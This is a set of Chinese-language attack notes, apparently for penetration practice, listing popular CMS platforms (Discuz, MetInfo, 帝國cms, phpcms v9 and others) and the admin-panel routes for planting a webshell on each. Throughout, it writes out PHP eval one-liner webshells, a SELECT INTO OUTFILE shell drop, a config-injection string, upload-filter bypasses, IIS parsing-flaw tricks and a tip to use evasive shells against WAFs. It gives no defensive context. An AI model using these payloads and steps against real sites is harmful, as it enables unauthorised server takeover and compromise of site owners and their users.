常見cms
良精、科訊、動易、aspcms、dz
米拓cms、phpcms2008、帝國cms、phpv9
phpweb、dedecms
良精
方法：
1、數據庫備份拿shell
上傳圖片——點擊數據庫備份——改為腳本格式——添加賬號，講一句話添加在用戶名處——備份——改為腳本格式
2、雙文件上傳
3、配置插馬
4、修改文件上傳類型直接上傳
科訊（用IE）
/admin/admin.asp 后台路徑
1、利用解析漏洞
2、設置——網站基本信息設置——默認允許上傳文件類型，將asp改為aaspsp（會將asp替換為空）
內容——圖片添加——上傳時改為aaspsp
設置——基本設置——其它選項——通用頁面目錄——html/a.asp/（目錄解析）——標簽——自定義靜態標簽——增加靜態標簽——插入一句話——自定義頁面——生成一個頁面，會在a.asp目錄下
動易（學校，簡單的企業）
在網站配置中插馬——連接inc/config.asp文件
數據庫備份
雙文件上傳
aspcms
界面風格——編輯模板/css文件（利用IIS6.0解析漏洞）——添加——文件系統——a.asp;html——內容插入一句話
拓展功能——幻燈片設置——插馬
dz
uckey或利用插件上傳（常見的網站discuz x2.5）
后台 admin.php或cu_server
站長——ucenter設置（通過配置插馬，閉合拿shell）
站長——數據庫備份（或短文件漏洞）
米拓cms
metinfo 5.3.18 install/phpinfo.php——里面能找到網站根目錄
后台 admin/index.php （上傳圖片馬 包含文件）
后台——安全——數據庫備份——下載——打開（txt）——在完整的一句話后面寫入新的一句話（select “<?php @eval($_POST[A]);?>” into outfile ‘網站根目錄，路徑寫成Linux路徑’）——恢復（一般在晚上沒有數據交互的時候再做）
權限要求很高
帝國cms
empircms-v6.6
127.0.0.1/e/install
后台：127.0.0.1/e/admin/index.php
后台——數據表與系統模型——管理數據表——管理系統表模型——導入系統模型（要導.mod的文件）——<?fputs(fopen(“cnm.php”,”w”),”<?eval(\$_POST[cmd];)?>”)?>保存為mod文件，文件名為aa.php.mod——記住導入的目錄路徑/e/admin/cnm.php
注意：導入時候可能會有waf，可以在腳本中加入免殺的一句話
phpv9
phpcms_v9.6.3_GBK
127.0.0.1/install
后台——界面——模板風格——詳情列表——search——編輯插馬
后台——phpsso——系統管理——ucenter配置——uc_config.php中 ‘);eval($_post[a]);#
后台——內容——專題 phpv9低權限拿shell
phpweb
dedecmd